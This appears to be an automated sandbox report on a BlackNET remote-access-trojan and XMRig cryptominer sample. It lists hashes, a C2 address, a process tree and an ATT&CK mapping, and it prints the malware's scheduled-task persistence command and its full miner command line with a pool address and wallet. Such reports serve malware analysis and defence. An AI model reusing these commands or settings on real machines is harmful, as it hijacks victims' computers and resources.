Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    23-07-2021 04:16

General

  • Target

    4B71D55F16C4A497FB2457C340D5A8A6.exe

  • Size

    4.2MB

  • MD5

    4b71d55f16c4a497fb2457c340d5a8a6

  • SHA1

    b8d17306aa1c757e6329bb69d976c224e585838a

  • SHA256

    4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364

  • SHA512

    93f66aca97affda90dee4631069255800ccf40a5ab912f77814f526df95ac5a8c6a1e63f74d2ba38b147b53a8f7d258f636db9cefd9a98ebb5ac869eb79ae79f

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

C2

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes
  • antivm

    false

  • elevate_uac

    false

  • install_name

    WindowsUpdate.exe

  • splitter

    |BN|

  • start_name

    19eb68018edbdeae69b26450d3d0915f

  • startup

    false

  • usb_spread

    false

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

  • BlackNET Payload 4 IoCs
  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 7 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe
    "C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe"
        3⤵
        • Executes dropped EXE
        PID:184
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 868
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2656
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "{path}"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3940
          • C:\Users\Admin\AppData\Local\Temp\phone.exe
            "C:\Users\Admin\AppData\Local\Temp\phone.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2812
          • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
            "C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2256
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1380
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
                7⤵
                • Creates scheduled task(s)
                PID:3500
            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              6⤵
              • Executes dropped EXE
              PID:2212
            • C:\Users\Admin\AppData\Roaming\userupdate.exe
              "C:\Users\Admin\AppData\Roaming\userupdate.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3596
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:2292
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
                  8⤵
                  • Creates scheduled task(s)
                  PID:496
              • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                7⤵
                • Executes dropped EXE
                PID:648
              • C:\Windows\System32\cmd.exe
                C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
                7⤵
                • Blocklisted process makes network request
                • Suspicious use of AdjustPrivilegeToken
                PID:1708

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scripting

1
T1064

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Scripting

1
T1064

Discovery

System Information Discovery

1
T1082

Command and Control

Web Service

1
T1102

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
    MD5

    db9629508fda139f71f625d764c7eff7

    SHA1

    57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

    SHA256

    656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

    SHA512

    2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
    MD5

    db9629508fda139f71f625d764c7eff7

    SHA1

    57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

    SHA256

    656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

    SHA512

    2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
    MD5

    af711c6269728cc41a4b6cab99dc00d2

    SHA1

    02a1cff69f43552c5aa6fea7547e5f68018dbc84

    SHA256

    4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

    SHA512

    94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
    MD5

    af711c6269728cc41a4b6cab99dc00d2

    SHA1

    02a1cff69f43552c5aa6fea7547e5f68018dbc84

    SHA256

    4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

    SHA512

    94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs
    MD5

    26d980fc7fb049dc85ea91157d843af8

    SHA1

    475fda0d8d3e77760924886de22dd902ac58e99a

    SHA256

    c472d5f80188825b777d8b6818db877e862a159c51138bd6d39999c75eb7006a

    SHA512

    3ebb9a7e86d7c4cea62b43f20ad2b281f038ce32062e5c569138641da955ad0f77d9e444c2cea934ae2129499aeb1eda1a2ff1c223f77a96bd6beb21011b1c9b

  • C:\Users\Admin\AppData\Local\Temp\phone.exe
    MD5

    a18b7cb1fe97912ffc3e38d76ccc0462

    SHA1

    c5908c111223d69f532973643381983ba385c1c1

    SHA256

    2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

    SHA512

    d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

  • C:\Users\Admin\AppData\Local\Temp\phone.exe
    MD5

    a18b7cb1fe97912ffc3e38d76ccc0462

    SHA1

    c5908c111223d69f532973643381983ba385c1c1

    SHA256

    2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

    SHA512

    d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

  • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
    MD5

    0c0195c48b6b8582fa6f6373032118da

    SHA1

    d25340ae8e92a6d29f599fef426a2bc1b5217299

    SHA256

    11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

    SHA512

    ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    MD5

    94de80b9dbb3379c59a370b83bbffd90

    SHA1

    9b65d5fba13c1174af142de9fdb17cd9989332fc

    SHA256

    5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

    SHA512

    1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

  • C:\Users\Admin\AppData\Roaming\userupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • C:\Users\Admin\AppData\Roaming\userupdate.exe
    MD5

    c169f9a4c5c32e4ceb4ff58d1c86e969

    SHA1

    8cdad283c3c44202cb3dc50928d8f80ce885715c

    SHA256

    aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

    SHA512

    3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

  • memory/184-135-0x0000000004B70000-0x0000000004B71000-memory.dmp
    Filesize

    4KB

  • memory/184-131-0x000000000A000000-0x000000000A0C7000-memory.dmp
    Filesize

    796KB

  • memory/184-129-0x0000000000940000-0x0000000000941000-memory.dmp
    Filesize

    4KB

  • memory/184-124-0x00000000001F0000-0x00000000001F1000-memory.dmp
    Filesize

    4KB

  • memory/184-119-0x0000000000000000-mapping.dmp
  • memory/496-196-0x0000000000000000-mapping.dmp
  • memory/648-213-0x000000001C550000-0x000000001C552000-memory.dmp
    Filesize

    8KB

  • memory/648-198-0x0000000000000000-mapping.dmp
  • memory/1380-179-0x0000000000000000-mapping.dmp
  • memory/1708-206-0x00000001402EB66C-mapping.dmp
  • memory/1708-205-0x0000000140000000-0x0000000140758000-memory.dmp
    Filesize

    7.3MB

  • memory/1708-208-0x0000000140000000-0x0000000140758000-memory.dmp
    Filesize

    7.3MB

  • memory/1708-207-0x000002B941930000-0x000002B941950000-memory.dmp
    Filesize

    128KB

  • memory/1708-211-0x000002B9433E0000-0x000002B943400000-memory.dmp
    Filesize

    128KB

  • memory/1708-214-0x000002B943420000-0x000002B943440000-memory.dmp
    Filesize

    128KB

  • memory/2212-191-0x0000000000B00000-0x0000000000B02000-memory.dmp
    Filesize

    8KB

  • memory/2212-193-0x0000000000B30000-0x0000000000B32000-memory.dmp
    Filesize

    8KB

  • memory/2212-185-0x0000000000180000-0x0000000000181000-memory.dmp
    Filesize

    4KB

  • memory/2212-181-0x0000000000000000-mapping.dmp
  • memory/2256-170-0x0000000000B40000-0x0000000000B41000-memory.dmp
    Filesize

    4KB

  • memory/2256-167-0x0000000000000000-mapping.dmp
  • memory/2256-177-0x000000001CD40000-0x000000001CF5B000-memory.dmp
    Filesize

    2.1MB

  • memory/2256-178-0x000000001C930000-0x000000001C932000-memory.dmp
    Filesize

    8KB

  • memory/2292-195-0x0000000000000000-mapping.dmp
  • memory/2656-138-0x0000000001120000-0x0000000001122000-memory.dmp
    Filesize

    8KB

  • memory/2656-137-0x0000000009A00000-0x0000000009A01000-memory.dmp
    Filesize

    4KB

  • memory/2656-140-0x0000000006B00000-0x0000000006D44000-memory.dmp
    Filesize

    2.3MB

  • memory/2656-136-0x0000000005230000-0x0000000005231000-memory.dmp
    Filesize

    4KB

  • memory/2656-134-0x0000000007620000-0x0000000007B1E000-memory.dmp
    Filesize

    5.0MB

  • memory/2656-139-0x00000000063D0000-0x0000000006666000-memory.dmp
    Filesize

    2.6MB

  • memory/2656-130-0x0000000007620000-0x0000000007621000-memory.dmp
    Filesize

    4KB

  • memory/2656-128-0x0000000007B20000-0x0000000007B21000-memory.dmp
    Filesize

    4KB

  • memory/2656-122-0x0000000000000000-mapping.dmp
  • memory/2656-125-0x0000000000580000-0x0000000000581000-memory.dmp
    Filesize

    4KB

  • memory/2812-173-0x000002BEB13E0000-0x000002BEB13E2000-memory.dmp
    Filesize

    8KB

  • memory/2812-158-0x0000000000000000-mapping.dmp
  • memory/2812-165-0x000002BEB1060000-0x000002BEB1061000-memory.dmp
    Filesize

    4KB

  • memory/2812-176-0x000002BEB13E5000-0x000002BEB13E7000-memory.dmp
    Filesize

    8KB

  • memory/2812-174-0x000002BEB13E3000-0x000002BEB13E4000-memory.dmp
    Filesize

    4KB

  • memory/2812-175-0x000002BEB13E2000-0x000002BEB13E3000-memory.dmp
    Filesize

    4KB

  • memory/3004-116-0x0000000000000000-mapping.dmp
  • memory/3500-180-0x0000000000000000-mapping.dmp
  • memory/3596-184-0x0000000000000000-mapping.dmp
  • memory/3596-204-0x000000001C8A0000-0x000000001C8AA000-memory.dmp
    Filesize

    40KB

  • memory/3596-197-0x000000001C8B0000-0x000000001C8B1000-memory.dmp
    Filesize

    4KB

  • memory/3596-194-0x000000001C8D0000-0x000000001C8D2000-memory.dmp
    Filesize

    8KB

  • memory/3940-141-0x0000000000400000-0x000000000063C000-memory.dmp
    Filesize

    2.2MB

  • memory/3940-142-0x000000000063636E-mapping.dmp
  • memory/3940-152-0x0000000009940000-0x0000000009941000-memory.dmp
    Filesize

    4KB

  • memory/3940-153-0x00000000096B0000-0x000000000974C000-memory.dmp
    Filesize

    624KB